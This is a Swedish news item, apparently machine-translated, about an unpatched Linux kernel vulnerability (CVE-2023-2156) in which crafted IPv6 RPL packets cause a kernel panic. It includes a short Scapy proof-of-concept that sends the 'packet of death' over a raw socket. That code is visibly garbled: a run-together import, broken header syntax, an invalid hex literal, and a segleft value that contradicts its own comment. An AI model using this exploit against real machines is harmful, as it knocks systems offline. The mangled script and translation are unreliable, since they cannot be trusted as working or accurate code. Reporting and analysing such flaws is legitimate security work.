0-dagars Linux IPv6 stack sårbarhet som tillåter fjärrkärnan kraschar

Information har avslöjats om en okorrigerad (0-dagars) sårbarhet (CVE-2023-2156) i Linux-kärnan, vilket gör det möjligt att stoppa systemet genom att skicka specialdesignade IPv6-paket (packet-of-death). Problemet uppstår bara när stöd för protokollet RPL (Routing Protocol for Low-Power and Lossy Networks) är aktiverat, vilket är inaktiverat som standard i distributioner och används huvudsakligen på inbäddade enheter som arbetar i trådlösa nätverk med hög paketförlust.

Sårbarheten orsakas av felaktig bearbetning av externa data i RPL-protokollets parsningskod, vilket leder till ett påståendefel och att kärnan går in i paniktillstånd. När data som erhållits från att analysera IPv6 RPL-pakethuvudet placeras i strukturen k_buff (Socket Buffer), om CmprI-fältet är satt till 15, Segleft-fältet till 1 och CmprE till 0, dekomprimeras 48-byte-vektorn med adresser till 528 byte och uppstår en situation där minnet som allokerats för bufferten inte är tillräckligt. I det här fallet kontrollerar skb_push-funktionen, som används för att skjuta in data i strukturen, om det finns injämförbarhet mellan storleken på datan och bufferten, vilket genererar ett paniktillstånd för att förhindra skrivning bortom buffertgränsen.

Exempel på utnyttjande: # Vi kommer att använda Scapy för att skapa paketet från scapy.all import * importsocket # Använd IPv6 från ditt LAN-gränssnitt DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Vi använder sockets för att skicka paketet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Skapa paketet # Typ = 3 gör detta till ett RPL-paket # Adresser innehåller 3 adresser, men eftersom CmprI är 15, # är varje oktett av de två första adresserna behandlas som en komprimerad adress # Segleft = 1 för att trigga förstärkningen # lastentry = 0xf0 sätter CmprI till 15 och CmprE till 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting=[=3, adress: :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Skicka detta onda paket sockfd.sendto(bytes(p), (DST_ADDR, 0))

Det är anmärkningsvärt att kärnutvecklarna underrättades om sårbarheten redan i januari 2022 och under de senaste 15 månaderna har de försökt åtgärda problemet tre gånger och släppt patchar i september 2022, oktober 2022 och april 2023, men varje gång korrigeringarna gjordes inte tillräckligt och sårbarheten kunde inte reproduceras. Till slut beslutade ZDI-projektet, som koordinerade arbetet med att åtgärda sårbarheten, att släppa detaljerad information om sårbarheten utan att vänta på att en fungerande korrigering skulle bli tillgänglig i kärnan.

Således förblir sårbarheten fortfarande oåtgärdad. I synnerhet är patchen som ingår i 6.4-rc2-kärnan ineffektiv. Användare rekommenderas att kontrollera att RPL-protokollet inte används på deras system, vilket kan göras med kommandot sysctl -a | grep -i rpl_seg_enabled

Källa: opennet.ru

Lägg en kommentar